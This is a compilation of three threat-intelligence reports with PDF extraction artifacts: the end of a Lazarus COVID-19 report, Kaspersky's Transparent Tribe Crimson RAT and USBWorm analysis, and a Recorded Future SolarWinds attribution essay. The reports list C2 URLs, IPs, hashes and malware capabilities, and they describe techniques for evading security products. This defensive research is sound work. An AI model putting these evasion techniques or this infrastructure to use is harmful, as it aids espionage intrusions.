Both malicious programs use a Security Support Provider as a persistence mechanism.
Both malicious programs have almost identical debugging messages.
Here is a side-by-side comparison of the malware used in the ministry of health incident, and the malware
(4088946632e75498d9c478da782aa880) used in the cryptocurrency business attack:
Debugging log from ministry of health case
Debugging log of cryptocurrency business case
15:18:20 Extracted Dll : [random 2bytes]svc.drv
15:59:32 Reg Config Success !
Extracted Dll : [random 2bytes]svc.dll
Extracted Injecter : [random 2bytes]proc.exe
16:08:45 Register Svc Success !
Reg Config Success !
16:24:53 Injection Success, Process ID : 544
Register Svc Success !
Start Injecter Success !
Regarding the pharmaceutical company incident, we previously concluded that Bookcode is exclusively used by the
Lazarus group. According to our Kaspersky Threat Attribution Engine (KTAE), one of the Bookcode malware samples
(MD5 0e44fcafab066abe99fe64ec6c46c84e) contains lots of code overlaps with old Manuscrypt variants.
7/10
Kaspersky Threat Attribution Engine results for Bookcode
Moreover, the same strategy was used in the post-exploitation phase, for example, the usage of ADFind in the attack
against the health ministry to collect further information on the victim
s environment. The same tool was deployed
during the pharmaceutical company case in order to extract the list of employees and computers from the Active
Directory. Although ADfind is a common tool for the post-exploitation process, it is an additional data point that
indicates that the attackers use shared tools and methodologies.
Conclusions
These two incidents reveal the Lazarus group
s interest in intelligence related to COVID-19. While the group is mostly
known for its financial activities, it is a good reminder that it can go after strategic research as well. We believe that all
entities currently involved in activities such as vaccine research or crisis handling should be on high alert for
cyberattacks.
Indicators of compromise
wAgent
dc3c2663bd9a991e0fbec791c20cbf92
26545f5abb70fc32ac62fdab6d0ea5b2
9c6ba9678ff986bcf858de18a3114ef3
%programdata%\oracle\javac.dat
%programdata%\oracle\javac.dat
%programdata%\grouppolicy\Policy.DAT
wAgent Installer
4814b06d056950749d07be2c799e8dc2
%programdata%\oracle\javac.io, %appdata%\ntuser.dat
wAgent compromised C2 servers
http://client.livesistemas[.]com/Live/posto/[email protected]@[email protected]@story.jsp
hxxps://iski.silogica[.]net/events/[email protected]@[email protected]@cookie.jsp
hxxp://sistema.celllab[.]com.br/webrun/Navbar/[email protected]@[email protected]@customZoom.jsp
hxxp://www.bytecortex.com[.]br/eletronicos/[email protected]@[email protected]@Functions.jsp
hxxps://sac.najatelecom.com[.]br/sac/Dados/[email protected]@[email protected]@default.jsp
wAgent file path
%SystemRoot%\system32\[random 2 characters]svc.drv
wAgent registry path
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Application\Emulate - [random 2
characters]svc
Bookcode injector
5983db89609d0d94c3bcc88c6342b354
%SystemRoot%\system32\scaccessservice.exe, rasprocservice.exe
Bookcode file path
8/10
%SystemRoot%\system32\C_28705.NLS
%SystemRoot%\system32\gmslogmgr.dat
Bookcode compromised C2 servers
hxxps://www.kne.co[.]kr/upload/Customer/BBS.asp
hxxp://www.k-kiosk[.]com/bbs/notice_write.asp
hxxps://www.gongim[.]com/board/ajax_Write.asp
hxxp://www.cometnet[.]biz/framework/common/common.asp
hxxps://www.locknlockmall[.]com/common/popup_left.asp
MITRE ATT&CK Mapping.
Tactic
Technique.
Technique Name.
Execution
T1059.003
T1569.002
Command and Scripting Interpreter: Windows Command Shell
System Services: Service Execution
Persistence
T1547.005
T1543.003
Boot or Logon Autostart Execution: Security Support Provider
Create or Modify System Process: Windows Service
Privilege Escalation
T1547.005
T1543.003
Boot or Logon Autostart Execution: Security Support Provider
Create or Modify System Process: Windows Service
T1055.001
Process Injection: Dynamic-link Library Injection
T1070.006
T1055.001
Indicator Removal on Host: Timestomp
Process Injection: Dynamic-link Library Injection
T1140
Deobfuscate/Decode Files or Information
T1027.001
Obfuscated Files or Information: Binary Padding
Credential Access
T1003.002
OS Credential Dumping: Security Account Manager
Discovery
T1082
T1033
System Information Discovery
System Owner/User Discovery
T1049
System Network Connections Discovery
Lateral Movement
T1021.002
SMB/Windows Admin Shares
Command and Control
T1071.001
T1132.001
Application Layer Protocol: Web Protocols
Data Encoding: Standard Encoding
Exfiltration
T1041
Exfiltration Over C2 Channel
Defense Evasion
Backdoor
9/10
Lazarus
Malware Descriptions
Malware Technologies
Medical threats
Targeted attacks
Lazarus covets COVID-19-related intelligence
Your email address will not be published. Required fields are marked *
10/10
Transparent Tribe: Evolution analysis, part 1
securelist.com/transparent-tribe-part-1/98127
Giampaolo Dedola
Background and key findings
Transparent Tribe, also known as PROJECTM and MYTHIC LEOPARD, is a highly prolific
group whose activities can be traced as far back as 2013. Proofpoint published a very good
article about them in 2016, and since that day, we have kept an eye on the group. We have
periodically reported their activities through our APT threat intelligence reports, and
subscribers of that service already know that in the last four years, this APT group has
never taken time off. They continue to hit their targets, which typically are Indian military
and government personnel.
The TTPs have remained consistent over the years, and the group has constantly used
certain tools and created new programs for specific campaigns. Their favorite infection
vector is malicious documents with an embedded macro, which seem to be generated with
a custom builder.
Their main malware is a custom .NET RAT publicly known as Crimson RAT, but over the
years, we also have observed the use of other custom .NET malware and a Python-based
RAT known as Peppy.
Over the past year, we have seen this group undergo an evolution, stepping up its activities,
starting massive infection campaigns, developing new tools and strengthening their focus
on Afghanistan.
The summary of our recent investigations will be described in two blogposts. This first
publication will cover the following key points:
1/17
We discovered the Crimson Server component, the C2 used by Transparent Tribe for
managing infected machines and conducting espionage. This tool confirmed most of
our observations on Crimson RAT and helped us to understand the attackers
perspective.
Transparent Tribe continues to spread Crimson RAT, infecting a large number of
victims in multiple countries, mainly India and Afghanistan.
The USBWorm component is real, and it has been detected on hundreds of systems.
This is malware whose existence was already speculated about years ago, but as far as
we know, it has never been publicly described.
I will be talking more about the TransparentTribe and its tools on GReAT Ideas. Powered
by SAS webinar on August 26, you can register for it here: https://kas.pr/1gk9
Crimson Server
Crimson is the main tool used by Transparent Tribe for their espionage activities. The tool
is composed of various components, which are used by the attacker for performing
multiple activities on infected machines:
manage remote filesystems
upload or download files
capture screenshots
perform audio surveillance using microphones
record video streams from webcam devices
capture screenshots
steal files from removable media
execute arbitrary commands
record keystrokes
steal passwords saved in browsers
spread across systems by infecting removable media
In the course of our analysis, we spotted a .NET file, identified by our products as Crimson
RAT, but a closer look revealed that it was something different: a server-side implant used
by the attackers to manage the client components.
We found two different server versions, the one being a version that we named
compiled in 2017, 2018 and 2019, and including a feature for installing the USBWorm
component and executing commands on remote machines. The version that we named
was compiled in 2018 and again at the end of 2019. The existence of two versions confirms
that this software is still under development and the APT group is working to enhance it.
By analysing the .NET binary, we were able to set up a working environment and
communicate with samples previously detected on victims
machines.
2/17
Crimson Server version
Main panel
The first window is the main panel, which provides a list of infected machines and shows
basic information about the victims
systems.
Server main panel
Geolocation information is retrieved from a legitimate website using a remote IP address as
the input. The URL used by the server is:
http://ip-api.com/xml/<ip>
At the top, there is a toolbar that can be used for managing the server or starting some
actions on the selected bot. At the bottom, there is an output console with a list of actions
performed by the server in the background. It will display, for example, information about
received and sent commands.
The server uses an embedded configuration specified inside a class named
settings
Example of embedded
configuration
The class contains TCP port values,
default file names and installation paths
used by each malware component. The
server does not include any features to
build the other components; they need
to be manually placed in specific
predefined folders. For example, based
on the configuration displayed in the
picture above, the
msclient
must be
placed in
.\tmps\rfaiwaus.exe
3/17
This leads us to conclude that the resulting server file was generated by another builder,
which created the executable files, directories and the other files used by the application.
Bot panel
The main features are accessible from the
bot panel
, an interface with twelve tabs, which
can be used to manage a remote system and collect information.
Update module
The first tab is used for checking the client configuration, uploading Crimson components
and executing these on remote system.
Update modules tab
The Crimson framework is composed of seven client components:
Thin Client -> a tiny version of the RAT used for recognizing the victim. The
thin
client
is the most common one; it is usually dropped during the infection process by which
Transparent Tribe is distributed and is most commonly found on OSINT resources. It
contains a limited number of features and can typically be used to:
collect information about infected system
collect screenshots
manage the remote filesystem
download and upload files
get a process list
kill a process
execute a file
4/17
Main Client -> the full-featured RAT. It can handle all
Thin Client
features, but it can
also be used to:
install the other malware components
capture webcam images
eavesdrop using a computer microphone
send messages to the victim
execute commands with COMSPEC and receive the output.
USB Driver -> a USB module component designed for stealing files from removable
drives attached to infected systems.
USB Worm -> this is the USBWorm component developed for stealing files from
removable drives, spread across systems by infecting removable media, and download and
execute the
Thin Client
component from a remote Crimson server.
Pass Logger -> a credential stealer, used for stealing credentials stored in the Chrome,
Firefox and Opera browsers.
KeyLogger -> this is simple malware used for recording keystrokes.
Remover -> this cannot be pushed using the
Update module tab
, but it can be uploaded
to an infected machine automatically using the
Delete User
button. Unfortunately, we did
not acquire that component and we cannot provide a description of it.
Interestingly, Transparent Tribe tries to circumvent certain vendors
security tools by
configuring the Server to prevent installation of some of the malware components,
specifically the
USB Driver
and the
Pass Logger
, on systems protected with Kaspersky
products. They also prevent installation of the
Pass Logger
on systems protected by
ESET.
Snippet of code that prevents installation of certain components on systems
protected by Kaspersky products
File Manager & Auto Download tabs
5/17
The file manager allows the attacker to explore the remote file system, execute programs,
download, upload and delete files.
File manager tab
Most of the buttons are self-explanatory. The most interesting ones are
USB Drive
and
Delete USB
, used for accessing data stolen by the USB Driver and USB Worm
components and the
Auto File Download
feature. This feature opens another window,
which can also be accessed via the second last tab. It allows the attacker to configure the
bot to search files, filter results and upload multiple files.
Auto download tab
6/17
Screen and Webcam monitoring tabs
These tabs are used for managing two simple and powerful features. The first one is
designed for monitoring the remote screen and checking what the user is doing on their
system. The second one can be used for spying on a remote webcam and performing video
surveillance. The attacker can retrieve a single screenshot or start a loop that forces the bot
to continuously send screenshots to the server, generating a live stream of sorts. The
attacker can also configure the RAT component to record the images on the remote system.
Other tabs
The other tabs are used for managing the following features:
Audio surveillance: The malware uses the NAudio library to interact with the
microphone and manage the audio stream. The library is stored server-side and
pushed to the victim
s machine using a special command.
Send message: The attacker can send messages to victims. The bot will display the
messages using a standard message box.
Keylogger: Collects keyboard data. The log includes the process name used by the
victim, and keystrokes. The attacker can save the data or clear the remote cache.
Password Logger: The malware includes a feature to steal browser credentials. The
theft is performed by a specific component that enumerates credentials saved in
various browsers. For each entry, it saves the website URL, the username and the
password.
Process manager: The attacker can obtain a list of running processes and terminate
these by using a specific button.
Command execution: This tab allows the attacker to execute arbitrary commands on
the remote machine.
Crimson Server version
The other version is quite similar to the previous one. Most noticeably, in this
version,
the graphical user interface is different.
Main toolbar version B
Update USB Worm
is missing from the Update Bot tab, which means that the USB Worm
feature is not available in these versions.
7/17
Update modules tab, version B
This version does not include the check that prevents installation of certain components on
systems protected with Kaspersky products, and the Command execution tab is missing. At
the same position, we find a different tab, used for saving comments about the infected
machine.
Notes
USBWorm
Last January, we started investigating an ongoing campaign launched by Transparent
Tribe to distribute the Crimson malware. The attacks started with malicious Microsoft
Office documents, which were sent to victims using spear-phishing emails.
8/17
Decoy document used in an attack against Indian entities
The documents typically have malicious VBA code embedded, and sometimes protected
with a password, configured to drop an encoded ZIP file which contains a malicious
payload.
9/17
User form with encoded payloads
The macro drops the ZIP file into a new directory created under %ALLUSERPROFILE%
and extracts the archive contents at the same location. The directory name can be different,
depending on the sample:
%ALLUSERSPROFILE%\Media-List\tbvrarthsa.zip
%ALLUSERSPROFILE%\Media-List\tbvrarthsa.exe
10/17
Snippet of VBA code
The executable file is the Crimson
Thin Client
, which allows the attacker to gain basic
information about the infected machine, collect screenshots, manipulate the file system
and download or upload arbitrary files.
During our analysis, we noticed an interesting sample connected to a Crimson C2 server.
This sample was related to multiple detections, all of these having different file names and
most of them generated from removable devices.
One of the file path name combinations observed was
C:\ProgramData\Dacr\macrse.exe
also configured in a Crimson
Main Client
sample and used for saving the payload
received from the C2 when invoking the usbwrm command.
11/17
USBWorm file construction function
We concluded that this sample was the USBWorm component mentioned by Proofpoint in
its analysis of the malware.
Based on previous research, we knew that this RAT was able to deploy a module to infect
USB devices, but as far as we know, it had never been publicly described.
USB Worm description
Our analysis has revealed that USBWorm is much more than a USB infector. In fact, it can
be used by the attacker to:
download and execute the Crimson
Thin Client
infect removable devices with a copy of USBWorm itself
steal files of interest from removable devices (i.e. USB Stealer)
By default, the program behaves as a downloader, infector and USB stealer. Usually, the
component is installed by the Crimson
Main Client
, and when started, it checks if its
execution path is the one specified in the embedded configuration and if the system is
already infected with a Crimson client component. If these conditions are met, it will start
to monitor removable media, and for each of these, the malware will try to infect the device
and steal files of interest.
The infection procedure lists all directories. Then, for each directory, it creates a copy of
itself in the drive root directory using the same directory name and changing the directory
attribute to
hidden
. This results in all the actual directories being hidden and replaced
12/17
with a copy of the malware using the same directory name.
Moreover, USBWorm uses an icon that mimics a Windows directory, tricking the user into
executing the malware when trying to access a directory.
USBWorm icon
This simple trick works very well on default Microsoft Windows
installations, where file extensions are hidden and hidden files are not
visible. The victim will execute the worm every time he tries to access a
directory. Moreover, the malware does not delete the real directories and
executes
explorer.exe
when started, providing the hidden directory path
as argument. The command will open the Explorer window as expected by the user.
The data theft procedure lists all files stored on the device and copies those with an
extension matching a predefined list:
File extensions of interest: .pdf, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pps, .ppsx, .txt
If the file is of interest, i.e. if the file extension is on the predefined list, the procedure
checks if a file with the same name already has been stolen. The malware has a text file
with a list of stolen files, which is stored in the malware directory under a name specified in
the embedded configuration.
Of course, this approach is a little buggy, because if the worm finds two different files with
the same name, it will steal only the first one. Anyway, if the file is of interest and is not on
the list of stolen files, it will be copied from the USB to a local directory usually named
data
or
udata
, although the name could be different.
If the worm is executed from removable media, the behavior is different. In this case, it will
check if the
Thin Client
or the
Main Client
is running on the system. If the system is not
infected, it will connect to a remote Crimson Server and try to use a specific
USBW
command to download and execute the
Thin Client
component.
13/17
Snippet of code used to build USBW request
The persistence is guaranteed by a method that is called when the program is closing. It
checks if the malware directory exists as specified in an embedded configuration and then
copies the malware executable inside it. It also creates a registry key under
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
to execute the worm
automatically.
USB Worm distribution
During our investigation, we found around two hundred distinct samples related to
Transparent Tribe Crimson components. We used the Kaspersky Security Network (KSN)
to collect some statistics about the victims.
Considering all components detected between June 2019 and June 2020, we found more
than one thousand distinct victims distributed across twenty-seven countries.
14/17
Crimson distribution map
Most of the detections were related to the USB Worm components; and in most of the
countries, the number of events was very low.
Crimson detections
USBWorm vs other components
If we check victims compromised with the other client components, we can find the real
targets.
Top five infected countries from June 2019 to June 2020
USBWorm
excluded
15/17
The graph includes the highest number of distinct victims, and it shows that Transparent
Tribe maintained a strong focus on Afghanistan during the final part of 2019 and then
started to focus again on Indian users during 2020.
We may speculate that detections in other countries may be related to entities related to
main targets, such as personnel of embassies.
Conclusions
Transparent Tribe continues to show high activity against multiple targets. In the last
twelve months, we observed a broad campaign against military and diplomatic targets,
using extensive infrastructure to support their operations and continuous improvements in
their arsenal. The group continue to invest in their main RAT, Crimson, to perform
intelligence activities and spy on sensitive targets. We do not expect any slowdown from
this group in the near future and we will continue to monitor their activities.
The followings IOC list is not complete. If you want more information about the APT
discussed here, as well as a full IOC list, and YARA rules are available to customers of
Kaspersky Threat Intelligence Reports. Contact: [email protected]
5158C5C17862225A86C8A4F36F054AE2
Excel document
NHQ_Notice_File.xls
D2C407C07CB5DC103CD112804455C0DE
Zip archive
tbvrarthsa.zip
76CA942050A9AA7E676A8D553AEB1F37
Zip archive
ulhtagnias.zip
08745568FE3BC42564A9FABD2A9D189F
Crimson Server Version
03DCD4A7B5FC1BAEE75F9421DC8D876F
Crimson Server Version
075A74BA1D3A5A693EE5E3DD931E1B56
Crimson Keylogger
1CD5C260ED50F402646F88C1414ADB16
Crimson Keylogger
CAC1FFC1A967CD428859BB8BE2E73C22
Crimson Thin Client
E7B32B1145EC9E2D55FDB1113F7EEE87
Crimson Thin Client
F5375CBC0E6E8BF10E1B8012E943FED5
Crimson Main Client
4B733E7A78EBD2F7E5306F39704A86FD
Crimson Main Client
140D0169E302F5B5FB4BB3633D09B48F
Crimson USB Driver
9DD4A62FE9513E925EF6B6D795B85806
Crimson USB Driver
1ED98F70F618097B06E6714269E2A76F
Crimson USB Worm
F219B1CDE498F0A02315F69587960A18
Crimson USB Worm
64.188.25.206
Crimson C2
173.212.192.229
Crimson C2
45.77.246.69
Crimson C2
16/17
newsbizupdates.net
Crimson C2
173.249.22.30
Crimson C2
uronlinestores.net
Crimson C2
17/17
POINT OF VIEW
POINT
By John Wetzel
OF VIEW
POV-2020-1230
SOLARWINDS ATTRIBUTION:
Are We Getting
Ahead of Ourselves?
An Analysis of UNC2452 Attribution
Note: A previously version of this report incorrectly attributed disclosure of Jake Williams
work for the National Security Agency
s Tailored Access
Operations group to Sandworm. This disclosure was conducted by ShadowBrokers.
Overview
The recent expansive intrusion campaign of over half a dozen government agencies and as-yet unknown
other organizations through malicious backdoors in the SolarWinds Orion platform is already one of the
most significant acts of cyber espionage in history. This intrusion, dubbed SUNBURST/Solorigate, appears
intended for information theft and espionage rather than destruction, placing this campaign within the realm of
counterintelligence, not just incident response. Analyzing this incident within the realm of counterintelligence
may fill the gap of descriptive language for this incident rather than bipolar descriptions of
sophisticated
in-depth analysis which may add to confusion for network defenders. Additionally, only a handful of companies
have direct access and the investigative resources to gain meaningful insights into the technical components
of the backdoor. The actor is a different story.
Like most complex, public intrusions, attribution has been messy. FireEye has named the actor behind
this intrusion
UNC2452,
and Volexity dubbed the threat actor
Dark Halo,
stating that the actor is the same
as UNC2452, though FireEye has not substantiated that claim. Adding further complexity, Washington Post
correspondent Ellen Nakashima cited unnamed government sources claiming Russian actors, in particular
APT29, are responsible for the attack. Members of the U.S. Congress have also publicly accused Russia,
and in particular the Russian Foreign Intelligence Service (SVR), as the responsible party, and added calls
for response. Microsoft President Brad Smith has also called for strong action. While we expect these
organizations have far more insight into the nature of the breach, as well as classified sources of intelligence
information, calls for strong response should include publicly disclosed information to support accusations.
Public evidence for these claims is currently scant. Some, including Jake Williams, who runs Rendition
Security and teaches for the SANS Institute, has said that technical evidence is forthcoming, but cannot be
disclosed without tipping off the adversaries to missteps and giving them a means to cover their tracks.
Still, the lack of public evidence gives rise to claims that other actors, even perhaps other countries, may be
responsible, a claim made by President Donald Trump as well.
Intelligence analysis, properly conducted, combats bias. Bias can lead to missteps in policy. Engaging in
policy discussions about proportional responses (or, at times, very disproportionate response) without strong
evidence is potentially dangerous. As rumors of attribution to Russia circulate, attribution prior to evidence is
premature and myopic, biasing the analyst to only certain behaviors and actors. Further, intelligence analysis
provides both strategic and tactical guidance for responses. At the strategic level, we can be assured that
responses are coordinated and proportional. At the tactical level, defenders can apply intelligence to seed
proactive activities, such as hunting for behaviors after indicators run dry.
POV-2020-1230
Recorded Future
| www.recordedfuture.com
POINT OF VIEW
Among information security researchers, some discussion has occurred regarding the possibility alternate
actors, such as APT41, may ultimately be found responsible. APT41, also known as Winnti and Barium, has
been linked to the People
s Republic of China, and previously conducted attacks which beg comparison with
the SUNBURST/Solorigate attack. (Note: Recorded Future has synonymized several named groups, including
APT41, Axiom Hacking Group, Barium, Blackfly, Dogfish, Ragebeast, Wicked Panda, Winnti Group, as Winnti
Umbrella Group.) In March 2017, APT41 executed a supply chain attack by breaching the company which made
CCleaner, a system cleaner software. Researchers from Cisco Talos and Morphisec uncovered the campaign,
which ultimately spread to 2.27 million computers. While these comparisons fall well short of the requirements
for attribution, APT41 does merit consideration as a candidate actor group responsible for the SUNBURST/
Solorigate breach. Enter threat intelligence.
Noteworthy Techniques
We approached our analysis using existing techniques in order to focus on attribution and adversary
mapping. We pursued methodologies including mapping MITRE ATT&CK techniques, victimology, temporal
indications, and historic use of indicators to give insight into attacker motivation and intent. We analyzed both
public information as well as information from Recorded Future
s historic index to determine a set of unique
characteristics about this campaign. Our goal was not to conclusively attribute this attack, but rather to review
existing data through the lens of intelligence analysis and contribute to conversation on adversary tracking.
ATT&CK Technique Analysis
We conducted a comparison of ATT&CK techniques across the mentioned actors, including APT29 and
APT41. We compiled 25 techniques and 14 sub-techniques for UNC2452 using MITRE ATT&CK Matrix for
Enterprises and techniques mentioned in public reports from FireEye and Microsoft. We then used the MITRE
guidance for comparison of groups, and compared UNC2452 ATT&CK techniques against those the MITRE
team documented for APT29 and APT41 using ATT&CK Navigator (Appendix). Unfortunately, our analysis
surfaced several challenges.
First, there are significant differences in documented ATT&CK techniques between vendors analyzing
the same actor group and/or malware. For example, FireEye lists seven techniques and 10 sub-techniques
in their report dated December 13, 2020; Microsoft shows four techniques and six sub-techniques for their
report dated December 18, 2020.
Second, several techniques for APT29 and APT41 were missing from the ATT&CK groups cataloged by
MITRE, appearing to lean towards more recent attacks, such as PowerDuke campaigns. We used MITRE
maintained list of APT TTPs for initial comparison, however these appear to have notable gaps even malware
techniques and techniques for actor groups attributed to leverage the malware.
Third, there were specific instances where ATT&CK lacked the nuanced matching techniques described
by security reporting. For example, within ATT&CK Navigator, several techniques are automatically assigned to
tactics, such as T1078 Valid Accounts, which is assigned to Initial Access, Persistence, and Defense Evasion
tactics. While Microsoft does cite this technique, they limit its applicability to the Persistence tactic.
Additionally, some techniques gain meaning through both repeated applications and choices of what
to encode. A salted FNV-1a hashing algorithm is used in both encoding blacklisted domains and blacklisted
processes, corresponding to T1132 Data Encoding. However, the domains hashed with FNV-1a are also used
to standardize various components of information in checks prior to downloading the second-stage payload,
creating efficiencies for communication as well as obfuscation.
While ATT&CK is a strong framework for mapping adversary TTPs, it is missing elements critical to
describe ongoing adversary activity and map that activity to past activity. Vendor publication of ATT&CK
techniques without in-line context further reduces applicability to adversary mapping. Historic activity
tracking can provide insights into both the existing, and potentially ongoing, SUNBURST/Solorigate campaign
and clues to actor motivation and attribution.
POV-2020-1230
Recorded Future
| www.recordedfuture.com
POINT OF VIEW
Victim Scope
Victimology, in particular, is notable for UNC2452, as it demonstrates an exacting approach to preserving
continuity of operations while prioritizing victims. As reported in a statement from Microsoft President Brad
Smith, of approximately 18,000 organizations who received the SolarWinds update containing the backdoor,
only 0.2 percent received the second stage, and 40 of those companies, 80 percent of the chosen companies,
were located in the United States. According to FireEye, adversary use of domain generation algorithms (DGA)
custom to each victim allowed for various organizations to identify organizations beaconing to the backdoor
Command-and-Control (C2) server through passive DNS records and cracking the encoded subdomains.
Figure 1: Microsoft graph of victims by industry sector. (Source: Microsoft)
The plurality of victims, according to Microsoft, are information technology companies. While much of
the media coverage remains on government and government contractor victims, recent reports of victims
from telecommunications providers to healthcare organizations, demonstrate targeting beyond traditional
espionage targets.
Some victimology can be determined through the reversing the DGA used by the Solorigate backdoor.
Several organizations, such as the RedDrip Team, Netresec, and Kaspersky published methods for decoding
the DGA used by the backdoor for initial C2 communications. Recorded Future collected and combined
information gathered from open sources such as Pastebin, passive DNS datasets (pDNS), and others related
to encoded subdomains of the SolarWinds Orion backdoor first stage command and control (C2) domain
avsvmcloud[.]com, and utilized three DGA decoding scripts. As of December 21, 2020, we have identified
some 286 domains.
This output is the result of a small subset of open source data and is
not representative of the totality of affected organizations, and is based
exclusively on Recorded Future
s visibility at this time via open source datasets.
SolarWinds itself has said that roughly 18,000 organizations installed versions
of SolarWinds Orion software impacted by SUNBURST, so the list of identified
domains by Recorded Future is therefore non-comprehensive. Additionally, an
organization
s presence on this list does not necessarily mean that it is the
victim of second stage infection or data exfiltration. Specific conditions had
to be met for the malware to deploy a second stage. We do not currently have
visibility into further exploitation. Not all of the records are complete domains;
we have included partial or incomplete domains where we deemed that there
was sufficient enough information to make educated guesses or inferences as
to which organization the domain or string may reference.
POV-2020-1230
Recorded Future
| www.recordedfuture.com
POINT OF VIEW
Microsoft noted in its report that the malware checks domains for certain strings prior to execution,
but was not able to determine the domains as they were implemented via hashes. Itay Cohen, a security
researcher at Checkpoint, identified the strings as FNV-1a hashes, and was able to brute-force reverse them.
Cohen noted that many of the strings appear to be SolarWinds internal domain names. In combination with the
checks conducted by the malware to look for regular expressions of
solarwinds
and
test
, Cohen posited
the attackers gained intimate knowledge of the SolarWinds source code, as well as the network topology and
internal development domain names, in order to
minimize the risk that a vigilant employee will notice the
anomaly.
Costin Raiu, along with another Kaspersky researcher, cracked the remaining hashes and published
the full list of internal domain names. Such care to avoid detection is highly uncommon, and points towards
an impressive degree of reconnaissance and focus.
Figure 2: FNV-1a hashes and the resulting domain names avoided by the SUNBURST malware.
Subsequently, SentinelOne found that SUNBURST also appears to check for certain running processes,
and exits if these processes are discovered:
SearchConfigurations() is used to identify blacklisted drivers. This is performed through
the WMI query
Select * From Win32_SystemDriver, which is obfuscated in the below
screenshot as C07NSU0uUdBScCvKz1UIz8wzNooPriwuSc11KcosSy0CAA==. The file
name is obtained for each driver, and if this driver is found in the blacklist, this method
will return true. As mentioned before, returning true causes the malware to break out of
the Update() loop prior to initiating the true backdoor code.
Among the blacklisted processes are a number of digital forensics and endpoint detection and response
tools. A full list of the drivers can be found on the SentinelOne blog. Similar to the Microsoft revelation of
blacklisted domains, this care to avoid endpoint detection again highlights the cautiousness of the actors.
Additionally, analysis is needed on the list of SUNBURST blacklisted processes. The full list was cracked
by several open source researchers. A public Google Sheet was compiled by Royce Willams and the Hashcat
team. The list of blacklisted processes is not comprehensive of all common endpoint or antivirus vendors;
further analysis is required to understand why the malware authors focused on certain endpoint software
to blacklist.
POV-2020-1230
Recorded Future
| www.recordedfuture.com
POINT OF VIEW
Time
A unique feature of the Solorigate backdoor is the timestamp check that the last write time for the DLL
was 12-14 days prior. Even among unique malware samples, this duration is atypical. MITRE ATT&CK lists
a few attackers leveraging this technique, and none approaching this level of time, but this may be due
to incomplete documentation within ATT&CK, as mentioned above. In addition to evasion, the time-based
evasion appears to be more related to avoiding detection by SolarWinds staff rather than analysis through
virtualization/sandbox analysis.
In a broader examination, the campaign appears to have breached SolarWinds in the fall of 2019 and
made non-malicious changes to code. These changes amounted to a dry-run of the primary infection which
would occur around March 2020. Additionally, the actors inflated the size of the targeted DLL file from 500k
to 900k, which may have triggered detection rules for the file, but investigations would have turned up no
malicious code. When infected code was added in February/March 2020, the size increase was minimal. Time
to conduct these preparatory actions over the course of months shows a level of discipline and patience seen
primarily in intelligence collection operations.
Historic Indicators
Multiple indicators have been shared by FireEye and in other vendor reports. While a number of these
indicators are novel to this attack, Recorded Future does have historic references to some of these indicators.
Recorded Future sees historic collection on three domains from this report:
The domain freescanonline[.]com was first seen in a ReversingLabs scan
on November 28, 2017, associated with the following SHA256 hash:
21bab0d279d15a548a84a9d9eed34575b2dc9072cc36ebfe7b517850eea92756.
The domain also appeared in an additional ReversingLabs scan
on October 13, 2019 was associated with the SHA256 hash:
c5864330c247e2cd2a98d69b852e42f59a16d9613a6536c8b0b25e16c934533d.
The domain highdatabase[.]com appears publicly on a public Pastebin site with the title
NII GSOC
Advisory
, posted December 10, 2020.
Of 10 IP addresses noted in the FireEye report, only three were previously linked to malicious activity.
13[.]59[.]205[.]66 first appeared on Pastebin in February 6, 2018, and then appeared as a
malicious host by a URLScan listing on April 23, 2019: https://urlscan.io/result/3df2efd6-530f4973-bca7-4635c083e276
139[.]99[.]115[.]204 was mentioned in two URLScan results dating back to June 2019. In
December 2019, this IP address was mentioned in a report by NAO_sec, associated with a
tool they named Bottle Exploit Kit, targeting Japan, and associated with the domain sales[.]
inteleksys[.]com
167[.]114[.]213[.]199 previously listed on the Bambenek list as a DGA domain destination.
Additionally, Recorded Future
s Predictive IP Risk Rule triggered for this IP days prior to
announcements of the SolarWinds incident
In addition to the techniques mentioned by FireEye, in its report dubbing the backdoor
Solorigate,
Microsoft attributed the five additional techniques and one sub-technique to the campaign:
Execution
T1072 Software Deployment Tools
Command and Control
T1071.004 Application Layer Protocol: DNS
T1132 Data Encoding
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Defense Evasion
T1480.001 Execution Guardrails: Environmental Keying
T1562.001 Impair Defenses: Disable or Modify Tools
Collection
T1005 Data From Local System
DomainTools has published two blogs approaching the topic from the perspective of publicly available
DNS records. In addition to documenting the DNS records published by FireEye, they also published additional
domains used for the delivery of the second-stage payload.
Figure 3: Screenshot of DomainTools domains used in follow-on stages, enriched with Recorded
Future Express Plus Browser Extension (December 20, 2020).
Of these second-stage domains, several appear in our index with significant delays between domain
registration and certification registration references.
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Figure 4: Timeline of the domain registration and certificate registration delay. (Source: Recorded Future)
Figure 5: References showing the domain registration and certificate registration dates for globalnetworkissues[.]com domain.
(Source: Recorded Future)
We note the registration of globalnetworkissues[.]com on September 19, 2018, however we do not see a
TLS certificate registered for this domain until February 19, 2020, 17 months to the date later.
Figure 6: References showing the domain registration and certificate registration dates for incomeupdate[.]com domain.
(Source: Recorded Future)
We see the registration of incomeupdate[.]com on August 20, 2017, but do not see a TLS certificate
registered until April 14, 2020, almost 19 months later.
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Figure 7: Reference showing the certificate registration dates for kubecloud[.]com domain. (Source: Recorded Future)
We see a TLS certificate registration for kubecloud[.]com on March 6, 2020.
Figure 8: References showing the domain registration and certificate registration dates for lcomputers[.]com domain. (Source:
Recorded Future)
We see the registration of lcomputers[.]com on February 5, 2018, but do not see a TLS certificate
registered until June 23, 2020.
Figure 9: References showing the domain registration and certificate registration dates for panhardware[.]com domain.
(Source: Recorded Future)
We see the registration of panhardware[.]com on May 20, 2019, and see a TLS certificate registered on
October 22, 2019, five months later. This registration so much prior to the other second-stage domains is
interesting and worthy of further investigation.
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Figure 10: References showing the domain registration and certificate registration dates for seobundlekit[.]com domain.
(Source: Recorded Future)
We see the registration of seobundlekit[.]com on July 15, 2019, but do not see a TLS certificate registered
until February 6, 2020.
Figure 11: Reference showing the domain registration date for solartrackingsystem[.]com domain. (Source: Recorded Future)
For this domain and the next two domains, we see a reference to either a domain registration or a
certificate registration, but not both. For this reference, we see the registration of solartrackingsystem[.]net
on October 2, 2018, but do not see a TLS certificate registered. This absence of a TLS certificate does not
indicate that there is no certificate, as DomainTools shows a certificate for this domain. More likely, this is a
gap in our coverage for certificate registrations for that time period.
Figure 12: Reference showing the domain registration date for virtualwebdata[.]com domain. (Source: Recorded Future)
We see the registration of virtualwebdata[.]com on April 22, 2019, but do not see a TLS certificate
